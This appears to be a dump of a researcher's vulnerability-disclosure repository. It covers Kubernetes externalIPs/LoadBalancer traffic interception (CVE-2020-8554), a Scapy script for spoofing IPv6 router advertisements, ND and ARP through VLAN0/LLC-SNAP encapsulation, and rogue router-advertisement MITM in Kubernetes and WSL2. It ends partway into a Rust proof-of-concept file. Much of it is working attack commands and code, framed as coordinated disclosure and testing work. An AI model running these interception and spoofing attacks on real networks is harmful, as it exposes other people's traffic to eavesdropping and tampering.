selector: 31 | app: myapp 32 | externalIPs: 33 | - 34 | - 35 | ... 36 | - 37 | ``` 38 | and it immediately broke the cluster. 39 | 40 | Kube-proxy IPVS adds the `ClusterIP`, `ExternalIP` and `LoadBalancerIP` to the `kube-ipvs0` interface, 41 | so the nodes could not talk to each other anymore. 42 | 43 | After fighting a bit to repair the cluster with one of my colleagues, I had a light bulb moment: 44 | I just need to set `externalIPs` to intercept the traffic of any IP, this is NICE (MITM as a Service). 45 | 46 | As I had already reported a security issue to Kubernetes ([CVE-2019-9946](../CVE-2019-9946/README.md)), 47 | I was invited to the private launch of Kubernetes bug bounty during the summer of 2019. 48 | Of course the invite had expired, but I was able to get a new one quickly. 49 | 50 | ## POC 51 | 52 | First create the target MITM pod 53 | ``` 54 | kubectl apply -f - <<'EOF' 55 | apiVersion: v1 56 | kind: Namespace 57 | metadata: 58 | name: kubeproxy-mitm 59 | --- 60 | apiVersion: apps/v1 61 | kind: Deployment 62 | metadata: 63 | name: echoserver 64 | namespace: kubeproxy-mitm 65 | spec: 66 | replicas: 1 67 | selector: 68 | matchLabels: 69 | app: echoserver 70 | template: 71 | metadata: 72 | labels: 73 | app: echoserver 74 | spec: 75 | containers: 76 | - image: gcr.io/google_containers/echoserver:1.10 77 | name: echoserver 78 | ports: 79 | - name: http 80 | containerPort: 8080 81 | - name: https 82 | containerPort: 8443 83 | EOF 84 | ``` 85 | 86 | Then to perform the MITM using LoadBalancer, just replace `` with the IP you want to MITM 87 | ``` 88 | kubectl apply -f - <<'EOF' 89 | apiVersion: v1 90 | kind: Service 91 | metadata: 92 | name: mitm-lb 93 | namespace: kubeproxy-mitm 94 | spec: 95 | ports: 96 | - name: http 97 | port: 80 98 | targetPort: 8080 99 | - name: https 100 | port: 443 101 | targetPort: 8443 102 | selector: 103 | app: echoserver 104 | type: LoadBalancer 105 | loadBalancerIP: 106 | EOF 107 | kubectl proxy --port=8080 & 108 | sleep 3 109 | curl -k -v -XPATCH -H "Accept: application/json" -H "Content-Type: application/merge-patch+json" 'http://127.0.0.1:8080/api/v1/namespaces/kubeproxy-mitm/services/mitm-lb/status' -d '{"status":{"loadBalancer":{"ingress":[{"ip":""}]}}}' 110 | kill $! 111 | ``` 112 | 113 | Or to perform the MITM using ExternalIP, just replace `` with the IP you want to MITM 114 | ``` 115 | kubectl apply -f - <<'EOF' 116 | apiVersion: v1 117 | kind: Service 118 | metadata: 119 | name: mitm-externalip 120 | namespace: kubeproxy-mitm 121 | spec: 122 | ports: 123 | - name: http 124 | port: 80 125 | targetPort: 8080 126 | - name: https 127 | port: 443 128 | targetPort: 8443 129 | selector: 130 | app: echoserver 131 | type: ClusterIP 132 | externalIPs: 133 | - 134 | EOF 135 | ``` 136 | 137 | You can also redirect the MITM traffic to an external server, by removing the selector of the service, and manually creating Endpoints 138 | ``` 139 | kubectl apply -f - <<'EOF' 140 | apiVersion: v1 141 | kind: Endpoints 142 | metadata: 143 | name: mitm-externalip 144 | namespace: kubeproxy-mitm 145 | subsets: 146 | - addresses: 147 | - ip: 148 | ports: 149 | - name: http 150 | port: 80 151 | targetPort: 8080 152 | - name: https 153 | port: 443 154 | targetPort: 8443 155 | EOF 156 | ``` 157 | 158 | This also works for UDP (so DNS) 159 | 160 | ## Asciinema 161 | 162 | ### Pre-checks 163 | [![2](https://asciinema.org/a/fZriwcMLxIAhOPiTW4LSwB3rG.svg)](https://asciinema.org/a/fZriwcMLxIAhOPiTW4LSwB3rG) 164 | 165 | ### DNS MITM (internal endpoint) 166 | [![3](https://asciinema.org/a/zJmluAW0RmnoGxSq1cX9dqxRE.svg)](https://asciinema.org/a/zJmluAW0RmnoGxSq1cX9dqxRE) 167 | 168 | ### DNS MITM (external endpoint) 169 | [![4](https://asciinema.org/a/VoF1PE9cda9YkPP2paWYtFsdw.svg)](https://asciinema.org/a/VoF1PE9cda9YkPP2paWYtFsdw) 170 | 171 | ## Tests 172 | 173 | To properly qualify the issue, I used 3 clusters: 174 | - CentOS 7, kubespray, K8S v1.16.3, containerd, Calico, kube-proxy iptables 175 | - same except kube-proxy IPVS 176 | - GKE 1.15.4-gke.22 to make it easier to reproduce the results for K8S Team 177 | 178 | I found 2 ways to man in the middle the traffic, by: 179 | 180 | a) creating a LoadBalancer service and patching the status with the attacked IP 181 | 182 | b) creating a ClusterIP service with ExternalIPs set to the attacked IP 183 | 184 | For these 2 options, I explored: 185 | 186 | 1) MITM of IPs external to the cluster 187 | 188 | 2) MITM of ClusterIP IP 189 | 190 | 3) MITM of pod IP 191 | 192 | 4) MITM of 127.0.0.1 193 | 194 | This give us the following: 195 | 196 | ![test results](tests.png) 197 | 198 | 4b is already blocked. 199 | 200 | 2/3/4 could all be blocked by default, as those are not valid use cases. 201 | 202 | 1 is expected behavior for me, I want my pods to be able to talk to ExternalIP or LoadBalancerIP. 203 | 204 | Another issue seen during my tests is that you can have multiple services with the same externalIP/port 205 | ``` 206 | # kubectl get svc -n kubeproxy-mitm 207 | NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE 208 | mitm-external-eip-dns ClusterIP 10.233.55.182 8.8.8.8 53/UDP 4m10s 209 | mitm-external-lb-dns LoadBalancer 10.233.35.158 8.8.8.8 53:31303/UDP 64s 210 | ``` 211 | ``` 212 | # kubectl get svc -n kubeproxy-mitm 213 | NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE 214 | mitm-external-lb-dns1 LoadBalancer 10.233.47.145 8.8.8.8 53:31545/UDP 4m37s 215 | mitm-external-lb-dns2 LoadBalancer 10.233.40.23 8.8.8.8 53:31556/UDP 4m37s 216 | mitm-external-lb-dns3 LoadBalancer 10.233.28.107 8.8.8.8 53:31206/UDP 4m37s 217 | ``` 218 | The service that gets the traffic seems to be random. 219 | 220 | ## Timeline 221 | 222 | * 2019-12-19: light bulb moment 223 | * 2019-12-20: New invite to K8S bug bounty 224 | * 2019-12-27: Initial report 225 | * 2020-01-09: After some back and forth, report validated 226 | * 2020-03-03: CVE-2020-8554 reserved 227 | * 2020-12-07: [Public disclosure](https://github.com/kubernetes/kubernetes/issues/97076) 228 | 229 | ## Acknowledgments 230 | 231 | - Thanks to my colleague Fabien for breaking this cluster with me ;) 232 | - Thanks to the Kubernetes Security Team 233 | -------------------------------------------------------------------------------- /VLAN0_LLC_SNAP/l2-security-whack-a-mole.py: -------------------------------------------------------------------------------- 1 | # Test script for 2 | # VU#855201 : 3 | # CVE-2021-27853 4 | # CVE-2021-27854 5 | # CVE-2021-27861 6 | # CVE-2021-27862 7 | # Microsoft HyperV RA Guard bypass : 8 | # CVE-2020-17040 9 | # CVE-2021-28444 10 | # CVE-2022-21905 11 | # And maybe some more :) 12 | # Etienne Champetier (@champtar) 13 | # https://blog.champtar.fr/VLAN0_LLC_SNAP/ 14 | 15 | from scapy.all import * 16 | #conf.verb = 0 # turn off scapy messages 17 | import argparse 18 | 19 | parser = argparse.ArgumentParser( 20 | formatter_class=argparse.RawTextHelpFormatter, 21 | description='''This script sends various packet types encapsulated in combination of 22 | VLAN 0 and/or LLC/SNAP headers, with/without invalid length, to help test L2 security. 23 | This script is not exhaustive and is provided 'as is' without warranty of any kind. 24 | Tested on Linux 5.19 (Fedora 36) using Scapy 2.4.5.''', 25 | epilog="Written by Etienne Champetier (@champtar), version 2022-09-27_1" 26 | ) 27 | parser.add_argument('-i', '--ifname', required=True, dest='ifname', type=str, help='Name of the interface to send IPv6 RA on') 28 | parser.add_argument('--i-want-to-break-my-network', required=True, action='store_true', help='Confirm you understand that running this script might disrupt your network') 29 | parser.add_argument('--print-packet', dest='printpacket', action='store_true', help='Print the packet in scapy format before sending') 30 | parser.add_argument('--print-hex', dest='printhex', action='store_true', help='Print the packet in hex format before sending') 31 | subparsers = parser.add_subparsers(title='packet type', dest='pkt_type') 32 | 33 | parser_ipv6_ra = subparsers.add_parser('ipv6_ra') 34 | parser_ipv6_ra.add_argument('src', type=str, help='source IP (use link local ip of the interface)') 35 | parser_ipv6_ra.add_argument('dst', type=str, help='destination IP (use "ff02::1")') 36 | 37 | parser_ipv6_nd = subparsers.add_parser('ipv6_nd') 38 | parser_ipv6_nd.add_argument('src', type=str, help='IPv6 to impersonate') 39 | parser_ipv6_nd.add_argument('dst', type=str, help='IPv6 of the victim') 40 | 41 | parser_ipv6_nd = subparsers.add_parser('arp') 42 | parser_ipv6_nd.add_argument('ipv4', type=str, help='IPv4 to impersonate') 43 | 44 | parser_ipv6_icmp = subparsers.add_parser('ipv6_icmp') 45 | parser_ipv6_icmp.add_argument('src', type=str, help='source IP') 46 | parser_ipv6_icmp.add_argument('dst', type=str, help='destination IP') 47 | 48 | parser_ipv4_icmp = subparsers.add_parser('ipv4_icmp') 49 | parser_ipv4_icmp.add_argument('src', type=str, help='source IP') 50 | parser_ipv4_icmp.add_argument('dst', type=str, help='destination IP') 51 | 52 | args = parser.parse_args() 53 | 54 | ifname = args.ifname 55 | pkt_type = args.pkt_type 56 | src_mac = get_if_hwaddr(ifname) 57 | 58 | if pkt_type == 'ipv6_ra': 59 | #ethertype = 0x8100 60 | l3 = IPv6(src=args.src, dst=args.dst) 61 | l3 /= ICMPv6ND_RA(chlim=64, prf='High', routerlifetime=1800) 62 | l3 /= ICMPv6NDOptSrcLLAddr(lladdr=src_mac) 63 | l3 /= ICMPv6NDOptMTU(mtu=1500) 64 | l3 /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:ffff::", prefixlen=64, validlifetime=1810, preferredlifetime=1800) 65 | dst_mac = getmacbyip6(args.dst) 66 | elif pkt_type == 'ipv6_nd': 67 | #ethertype = 0x8100 68 | l3 = IPv6(src=args.src, dst=args.dst)/ICMPv6ND_NA(tgt=args.src, R=0)/ICMPv6NDOptDstLLAddr(lladdr=src_mac) 69 | dst_mac = getmacbyip6(args.dst) 70 | elif pkt_type == 'arp': 71 | #ethertype = 0x0806 72 | l3 = ARP(op='is-at',hwsrc=src_mac,psrc=args.ipv4,hwdst='ff:ff:ff:ff:ff:ff',pdst=args.ipv4) 73 | dst_mac = 'ff:ff:ff:ff:ff:ff' 74 | elif pkt_type == 'ipv6_icmp': 75 | #ethertype = 0x8100 76 | l3 = IPv6(src=args.src, dst=args.dst)/ICMPv6EchoRequest() 77 | dst_mac = getmacbyip6(args.dst) 78 | elif pkt_type == 'ipv4_icmp': 79 | #ethertype = 0x0800 80 | l3 = IP(src=args.src, dst=args.dst)/ICMP() 81 | dst_mac = getmacbyip(args.dst) 82 | else: 83 | sys.exit(1) 84 | 85 | hdr_list = [ 86 | Ether(src=src_mac,dst=dst_mac), 87 | Ether(src=src_mac,dst=dst_mac)/Dot1Q(vlan=0), 88 | # Accepted only by Linux target ? 89 | Ether(src=src_mac,dst=dst_mac)/Dot1Q(vlan=0)/Dot1Q(vlan=0), 90 | Ether(src=src_mac,dst=dst_mac)/Dot1AD(vlan=0), 91 | Ether(src=src_mac,dst=dst_mac)/Dot1AD(vlan=0)/Dot1AD(vlan=0), 92 | Ether(src=src_mac,dst=dst_mac)/Dot1Q(vlan=0)/Dot1AD(vlan=0), 93 | Ether(src=src_mac,dst=dst_mac)/Dot1AD(vlan=0)/Dot1Q(vlan=0), 94 | Ether(src=src_mac,dst=dst_mac)/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1Q(vlan=0), 95 | Ether(src=src_mac,dst=dst_mac)/Dot1AD(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0), 96 | Ether(src=src_mac,dst=dst_mac)/Dot1AD(vlan=0)/Dot1Q(vlan=0)/Dot1AD(vlan=0)/Dot1Q(vlan=0)/Dot1AD(vlan=0), 97 | Ether(src=src_mac,dst=dst_mac)/Dot1Q(vlan=0)/Dot1AD(vlan=0)/Dot1Q(vlan=0)/Dot1AD(vlan=0)/Dot1Q(vlan=0), 98 | # Accepted by Windows, converted by Linux mac80211 and accepted by all Wireless clients 99 | Dot3(src=src_mac,dst=dst_mac)/LLC(ctrl=3)/SNAP(OUI=0x000000), 100 | Dot3(src=src_mac,dst=dst_mac)/LLC(ctrl=3)/SNAP(OUI=0x0000f8), 101 | # Accepted by Windows 102 | Ether(src=src_mac,dst=dst_mac)/Dot1Q(vlan=0,type=len(LLC()/SNAP()/l3))/LLC(ctrl=3)/SNAP(OUI=0x000000), 103 | Ether(src=src_mac,dst=dst_mac)/Dot1Q(vlan=0,type=len(LLC()/SNAP()/l3))/LLC(ctrl=3)/SNAP(OUI=0x0000f8), 104 | # Accepted by nothing ? 105 | Ether(src=src_mac,dst=dst_mac)/Dot1AD(vlan=0,type=len(LLC()/SNAP()/l3))/LLC(ctrl=3)/SNAP(OUI=0x000000), 106 | Ether(src=src_mac,dst=dst_mac)/Dot1AD(vlan=0,type=len(LLC()/SNAP()/l3))/LLC(ctrl=3)/SNAP(OUI=0x0000f8), 107 | Ether(src=src_mac,dst=dst_mac)/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1Q(vlan=0,type=len(LLC()/SNAP()/l3))/LLC(ctrl=3)/SNAP(OUI=0x000000), 108 | Ether(src=src_mac,dst=dst_mac)/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1Q(vlan=0,type=len(LLC()/SNAP()/l3))/LLC(ctrl=3)/SNAP(OUI=0x0000f8), 109 | Ether(src=src_mac,dst=dst_mac)/Dot1AD(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0,type=len(LLC()/SNAP()/l3))/LLC(ctrl=3)/SNAP(OUI=0x000000), 110 | Ether(src=src_mac,dst=dst_mac)/Dot1AD(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0,type=len(LLC()/SNAP()/l3))/LLC(ctrl=3)/SNAP(OUI=0x0000f8), 111 | # Converted by Linux mac80211, accepted by all Wireless clients except Android (for IPv6 RA, ARP/ND spoofing might work) 112 | Dot3(src=src_mac,dst=dst_mac)/LLC(ctrl=3)/SNAP(OUI=0x000000)/Dot1Q(vlan=0), 113 | Dot3(src=src_mac,dst=dst_mac)/LLC(ctrl=3)/SNAP(OUI=0x0000f8)/Dot1Q(vlan=0), 114 | # Converted by Linux mac80211, accepted by Linux Wireless clients 115 | Dot3(src=src_mac,dst=dst_mac)/LLC(ctrl=3)/SNAP(OUI=0x000000,code=0x88a8)/Dot1AD(vlan=0), 116 | Dot3(src=src_mac,dst=dst_mac)/LLC(ctrl=3)/SNAP(OUI=0x0000f8,code=0x88a8)/Dot1AD(vlan=0), 117 | Dot3(src=src_mac,dst=dst_mac)/LLC(ctrl=3)/SNAP(OUI=0x000000)/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1Q(vlan=0), 118 | Dot3(src=src_mac,dst=dst_mac)/LLC(ctrl=3)/SNAP(OUI=0x0000f8)/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1Q(vlan=0), 119 | Dot3(src=src_mac,dst=dst_mac)/LLC(ctrl=3)/SNAP(OUI=0x000000,code=0x88a8)/Dot1AD(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0), 120 | Dot3(src=src_mac,dst=dst_mac)/LLC(ctrl=3)/SNAP(OUI=0x0000f8,code=0x88a8)/Dot1AD(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0), 121 | # Accepted by nothing ? 122 | Ether(src=src_mac,dst=dst_mac)/Dot1Q(vlan=0,type=len(LLC()/SNAP()/Dot1Q()/l3))/LLC(ctrl=3)/SNAP(OUI=0x000000,code=0x8100)/Dot1Q(vlan=0), 123 | Ether(src=src_mac,dst=dst_mac)/Dot1Q(vlan=0,type=len(LLC()/SNAP()/Dot1Q()/l3))/LLC(ctrl=3)/SNAP(OUI=0x0000f8,code=0x8100)/Dot1Q(vlan=0), 124 | Ether(src=src_mac,dst=dst_mac)/Dot1AD(vlan=0,type=len(LLC()/SNAP()/Dot1AD()/l3))/LLC(ctrl=3)/SNAP(OUI=0x000000,code=0x88a8)/Dot1AD(vlan=0), 125 | Ether(src=src_mac,dst=dst_mac)/Dot1AD(vlan=0,type=len(LLC()/SNAP()/Dot1AD()/l3))/LLC(ctrl=3)/SNAP(OUI=0x0000f8,code=0x88a8)/Dot1AD(vlan=0), 126 | # Invalid length 127 | Dot3(src=src_mac,dst=dst_mac,len=0)/LLC(ctrl=3)/SNAP(OUI=0x000000), 128 | Dot3(src=src_mac,dst=dst_mac,len=0x05ff)/LLC(ctrl=3)/SNAP(OUI=0x000000), 129 | Ether(src=src_mac,dst=dst_mac)/Dot1Q(vlan=0,type=0)/LLC(ctrl=3)/SNAP(OUI=0x000000), 130 | Ether(src=src_mac,dst=dst_mac)/Dot1Q(vlan=0,type=0x05ff)/LLC(ctrl=3)/SNAP(OUI=0x000000), 131 | Ether(src=src_mac,dst=dst_mac)/Dot1Q(vlan=0)/Dot1Q(vlan=0,type=0)/LLC(ctrl=3)/SNAP(OUI=0x000000), 132 | Ether(src=src_mac,dst=dst_mac)/Dot1Q(vlan=0)/Dot1Q(vlan=0,type=0x05ff)/LLC(ctrl=3)/SNAP(OUI=0x000000), 133 | # IEEE 802a OUI extended EtherType, Accepted by nothing ? 134 | Ether(src=src_mac,dst=dst_mac,type=0x88b7)/SNAP(OUI=0x000000), 135 | Ether(src=src_mac,dst=dst_mac,type=0x88b7)/SNAP(OUI=0x0000f8), 136 | Dot3(src=src_mac,dst=dst_mac)/LLC(ctrl=3)/SNAP(OUI=0x000000,code=0x88b7)/SNAP(OUI=0x000000), 137 | Dot3(src=src_mac,dst=dst_mac)/LLC(ctrl=3)/SNAP(OUI=0x0000f8,code=0x88b7)/SNAP(OUI=0x000000), 138 | Dot3(src=src_mac,dst=dst_mac)/LLC(ctrl=3)/SNAP(OUI=0x000000,code=0x88b7)/SNAP(OUI=0x0000f8), 139 | Dot3(src=src_mac,dst=dst_mac)/LLC(ctrl=3)/SNAP(OUI=0x0000f8,code=0x88b7)/SNAP(OUI=0x0000f8), 140 | # Jumbo LLC / 0x8870, Accepted by nothing ? 141 | Ether(src=src_mac,dst=dst_mac,type=0x8870)/LLC(ctrl=3)/SNAP(OUI=0x000000), 142 | Ether(src=src_mac,dst=dst_mac,type=0x8870)/LLC(ctrl=3)/SNAP(OUI=0x0000f8), 143 | ] 144 | 145 | s = conf.L2socket(iface=ifname) 146 | for i in range(len(hdr_list)): 147 | print('\n# Sending header %i'%i) 148 | if pkt_type == 'ipv6_ra': 149 | l3.getlayer(ICMPv6NDOptPrefixInfo).prefix='2001:db8:%i::'%i 150 | p = hdr_list[i]/l3 151 | p = p.__class__(bytes(p)) 152 | if args.printpacket: 153 | print(p.command()) 154 | if args.printhex: 155 | print(bytes(p).hex()) 156 | 157 | s.send(p) 158 | time.sleep(0.2) 159 | -------------------------------------------------------------------------------- /IPv6_RA_MITM/README.md: -------------------------------------------------------------------------------- 1 | # Host MITM attack via IPv6 rogue router advertisements (K8S CVE-2020-10749 / Docker CVE-2020-13401 / LXD / WSL2 / ...) 2 | 3 | IPv6 is enabled by default on most devices and OSs today, and they also accept router advertisements (RA) by default to configure IPv6 IPs, routes and sometimes DNS servers. 4 | 5 | Any device in the same L2 can send router advertisements, but only routers are legitimate to send them, so, to secure networks, most managed switches include a feature called RA-Guard that allow / block RA for each port. 6 | 7 | As the title gives it away, the container world forgot about this attack vector. 8 | By sending “rogue” router advertisements, an attacker can reconfigure the host to redirect part or all of the IPv6 traffic of the host to the attacker controlled container. 9 | Even if there was no IPv6 traffic before, if the DNS returns A (IPv4) and AAAA (IPv6) records, many HTTP libraries will try to connect via IPv6 first then fallback to IPv4, giving an opportunity to the attacker to respond. 10 | 11 | ## Tested software 12 | 13 | - Kubernetes: [CNI CVE-2020-10749](https://github.com/kubernetes/kubernetes/issues/91507), also affected but not tested by myself, Calico ([CVE-2020-13597](https://www.projectcalico.org/security-bulletins/)), Flannel ([PR1298](https://github.com/coreos/flannel/pull/1298)) and Weave Net ([CVE-2020-11091](https://github.com/weaveworks/weave/security/advisories/GHSA-59qg-grp7-5r73)) 14 | - Docker: [CVE-2020-13401](https://docs.docker.com/engine/release-notes/#190311) 15 | - LXD: Not affected in default config, but some fixes as a result of the report ([PR7091](https://github.com/lxc/lxd/pull/7091), [PR7097](https://github.com/lxc/lxd/pull/7097), [PR7098](https://github.com/lxc/lxd/pull/7098)) 16 | - Openstack: antispoofing enabled by default, so not affected (asked a friend for iptables rules dump and did some code review) 17 | - Microsoft WSL2: Hyper-V has DHCP-Guard and Router-Guard enabled by default, but WSL2 that is based on Hyper-V doesn't have those security features enabled 18 | 19 | ## POCs / Report 20 | 21 | Hereafter, the reports sent to the Kubernetes team and Microsoft. Docker and LXD reports were really similar to the Kubernetes one. 22 | 23 | ### Kubernetes 24 | 25 | #### Summary 26 | 27 | In many K8S network configurations, the container network interface is a virtual ethernet link going to the host (veth interface). In this configuration, an attacker able to run a process as root in a container can send and receive arbitrary packets to the host using the `CAP_NET_RAW` capability (present in the default configuration). 28 | 29 | In a K8S cluster with an IPv4 internal network, if IPv6 is not totally disabled on the host (via `ipv6.disable=1` on the kernel cmdline), it will be either unconfigured or configured on some interfaces, but it’s pretty likely that ipv6 forwarding is disabled, ie `/proc/sys/net/ipv6/conf/*/forwarding == 0`. Also by default, `/proc/sys/net/ipv6/conf/*/accept_ra == 1`. The combination of these 2 sysctls means that the host accepts router advertisements and configures the IPv6 stack using them. 30 | 31 | By sending "rogue" router advertisements, an attacker can reconfigure the host to redirect part or all of the IPv6 traffic of the host to the attacker controlled container. 32 | Even if there was no IPv6 traffic before, if the DNS returns A (IPv4) and AAAA (IPv6) records, many HTTP libraries will try to connect via IPv6 first then fallback to IPv4, giving the attacker an opportunity to respond. 33 | If by chance you also have on the host a vulnerability like last year’s RCE in apt (CVE-2019-3462), you can now escalate to the host. 34 | 35 | As `CAP_NET_ADMIN` is not present by default in K8S pods, the attacker can’t configure the IPs they want to MITM, they can’t use iptables to NAT or REDIRECT the traffic, and they can’t use `IP_TRANSPARENT`. The attacker can however still use `CAP_NET_RAW` and implement a tcp/ip stack in user space. 36 | 37 | This report includes a POC based on [smoltcp](https://github.com/smoltcp-rs/smoltcp) that sends router advertisements and implements a dummy HTTP server listening on any IPv6 addresses. 38 | 39 | This vulnerability can easily be fixed by setting `accept_ra = 0` by default on any interface managed by CNI / K8S. 40 | 41 | #### Steps To Reproduce 42 | 43 | Watch the POC recording: 44 | [![asciicast](https://asciinema.org/a/jqFcyRsVOOT33zp8YLdaOyni4.svg)](https://asciinema.org/a/jqFcyRsVOOT33zp8YLdaOyni4) 45 | 46 | 1. Download the source of the POC: 47 | 48 | 1. [Cargo.toml](k8s/Cargo.toml) 49 | 2. [src/main.rs](k8s/src/main.rs) 50 | 51 | 2. Compile it with `cargo build --release`. You now have a binary called ipv6mitm. 52 | 53 | 3. Launch a dummy Pod: 54 | 55 | ``` 56 | kubectl apply -f - <<'EOF' 57 | apiVersion: v1 58 | kind: Pod 59 | metadata: 60 | name: ubuntu-pod 61 | spec: 62 | containers: 63 | - name: ubuntu 64 | image: ubuntu:latest 65 | command: [ "/bin/sleep", "inf" ] 66 | EOF 67 | ``` 68 | 69 | (In our scenario the attacker is able to run code as root in a "normal" pod of the cluster) 70 | 71 | 4. Find on which node the ubuntu-pod is running using `kubectl get pod -o wide`, then ssh into it. 72 | 73 | 5. On the node, try `curl http://www.google.com -v`. 74 | 75 | Right now you should get a normal response, and you can see in the first few lines that IPv4 was used. 76 | 77 | 6. This is the attack part: 78 | 79 | ``` 80 | # copy the ipv6mitm binary 81 | kubectl cp ipv6mitm ubuntu-pod:/ 82 | # connect to the pod 83 | kubectl exec -it ubuntu-pod /bin/bash 84 | # and run the binary 85 | /ipv6mitm -i eth0 86 | ``` 87 | 88 | 7. On the node, try `curl http://www.google.com -v` again. 89 | 90 | You should see that IPv6 was used and the response is just "ok", it came from the container. 91 | 92 | ### Microsoft WSL2 93 | 94 | #### Summary 95 | 96 | By default the "Hyper-V Virtual Ethernet Adapter" interfaces used for Hyper-V ('vEthernet (Default Switch)') and for WSL2 ('vEthernet (WSL)') are configured with static IPv4 but automatic IPv6, meaning any rogue Hyper-V or WSL2 VM can reconfigure the host network using DHCPv6 or IPv6 router advertisements. Using WPAD an attacker can also intercept part of the IPv4 traffic. 97 | 98 | This is "just" an insecure default configuration, but, chained with any client RCE, this could lead to VM escape to the host. 99 | 100 | I saw that Hyper-V does offer DHCP Guard and Router Guard settings, but couldn’t find the equivalent for WSL2. 101 | 102 | I know that changing the default configuration can be hard, but a VM should not be able to intercept host traffic by default. 103 | 104 | I only have access to Win10 machines so I couldn’t test any Windows server editions. 105 | 106 | Testing was done on Microsoft Windows [Version 10.0.19041.172] / Ubuntu 18.04 WSL2 107 | 108 | #### POC 109 | 110 | Here follows a POC showing how a root user in Ubuntu 18.04 WSL2 can easily intercept all IPv6 traffic, and, using WPAD, part of the IPv4 traffic of the host. The same attack also works from a Hyper-V VM. 111 | 112 | The POC uses 2 programs: 113 | 114 | - `mitmproxy`, to receive the traffic from the host once it has been configured by WPAD, 115 | 116 | - `rafun` to send the router advertisements and act as a DNS and an HTTP server. 117 | 118 | 1. Start a Ubuntu 18.04 WSL2 shell, become root 119 | 120 | 2. Install `mitmproxy`: 121 | 122 | ``` 123 | apt update 124 | apt install python3-pip 125 | pip3 install mitmproxy 126 | ``` 127 | 128 | 3. Build the `rafun` binary using golang 1.13+ by downloading [rafun.go](wsl2/rafun.go) / [go.sum](wsl2/go.sum) / [go.mod](wsl2/go.mod) then using run `CGO_ENABLED=0 go build` 129 | 130 | 4. Configure an extra IPv6 on eth0: 131 | 132 | ``` 133 | ip addr add 2001:db8::1/128 dev eth0 134 | ``` 135 | 136 | 5. Configure ip6tables redirect rules to intercept IPv6 HTTP and DNS traffic 137 | 138 | ``` 139 | ip6tables -t nat -I PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 80 140 | ip6tables -t nat -I PREROUTING -i eth0 -p udp --dport 53 -j REDIRECT --to-ports 53 141 | ``` 142 | 143 | 6. Find eth0 IPv4 144 | 145 | ``` 146 | ip a 147 | ``` 148 | 149 | 7. Start rafun to intercept IPv6 only 150 | 151 | ``` 152 | ./rafun -dnsAaddr= 153 | ``` 154 | 155 | rafun is now sending IPv6 router advertisements with two /1 routes. If the host has IPv6 connectivity, the /1 routes take precedence over the default /0 route and the VM now effectively receives all the IPv6 traffic from the host 156 | 157 | You can note that the 'vEthernet (WSL)' status page says 'IPv6 connectivity: Internet' 158 | 159 | ![](wsl2/1.png) 160 | 161 | 8. On the host, in a powershell shell run 162 | 163 | ``` 164 | Invoke-WebRequest www.google.com 165 | Invoke-WebRequest doesntexist.google.com 166 | Invoke-WebRequest [2001::1] 167 | ``` 168 | 169 | If the host has no IPv6 connectivity, Windows programs will prefer the primary interface IPv4 connectivity, so the VM will only receive DNS requests, but not a lot of traffic to mess with. 170 | 171 | If DNS requests on the DNS server of the primary interface fail, Windows will use rafun DNS responses and we will get some traffic. 172 | 173 | IPv6 requests will always go to the VM as the host has the two /1 routes 174 | 175 | Let’s now use WPAD. 176 | 177 | 9. In a new WSL2 shell, start mitmproxy 178 | 179 | ``` 180 | mitmproxy -p 8080 181 | ``` 182 | 183 | 10. Stop rafun, and start it again with: 184 | 185 | ``` 186 | ./rafun -dnsAaddr= -wpaddat="PROXY :8080" 187 | ``` 188 | 189 | In step 7 rafun was intentionally failing the wpad dns responses, so it might take a bit of time, but you will note that at some point the 'vEthernet (WSL)' status page will say IPv4/IPv6 connectivity: Internet. 190 | 191 | ![](wsl2/2.png) 192 | 193 | 11. On the host, in a powershell shell run 194 | 195 | ``` 196 | Invoke-WebRequest www.google.com 197 | ``` 198 | 199 | You will see the request appears in mitmproxy, meaning the attacker was able to spy on it and if https was not used modify it. 200 | 201 | ![](wsl2/3.png) 202 | 203 | ## Timeline 204 | 205 | * 2020-03-15: Initial report to K8S team 206 | * 2020-03-25: Initial report to Docker team 207 | * 2020-03-26: Initial report to LXD Team 208 | * 2020-04-04: Initial report to Microsoft Team 209 | * 2020-06-01: Public disclosure for K8S, Docker and many CNIs. 210 | * 2020-06-24: Microsoft confirms that HyperV guest are protected by DHCP and Router Guard, but not WSL2. They decide to treat it as a normal bug and not a Update Tuesday security bug. 211 | 212 | ## Acknowledgments 213 | 214 | Thanks to all the people that were involved, and special thanks to the K8S security team for coordinating with all the CNIs vendors. -------------------------------------------------------------------------------- /IPv6_RA_MITM/k8s/src/main.rs: -------------------------------------------------------------------------------- 1 | // POC for MitM attack using "rogue" router advertisements 2 | // Written by champetier.etienne@gmail.com, with lots of copy pastes from smoltcp codebase 3 | 4 | #[macro_use] 5 | extern crate log; 6 | extern crate env_logger; 7 | extern crate getopts; 8 | extern crate mac_address; 9 | extern crate smoltcp; 10 | 11 | use env_logger::Builder; 12 | use getopts::Options; 13 | use log::{Level, LevelFilter}; 14 | use mac_address::mac_address_by_name; 15 | use smoltcp::iface::{EthernetInterfaceBuilder, NeighborCache}; 16 | use smoltcp::phy::wait as phy_wait; 17 | use smoltcp::phy::{Checksum, ChecksumCapabilities, Device, DeviceCapabilities, RawSocket}; 18 | use smoltcp::socket::{IcmpEndpoint, IcmpPacketMetadata, IcmpSocket, 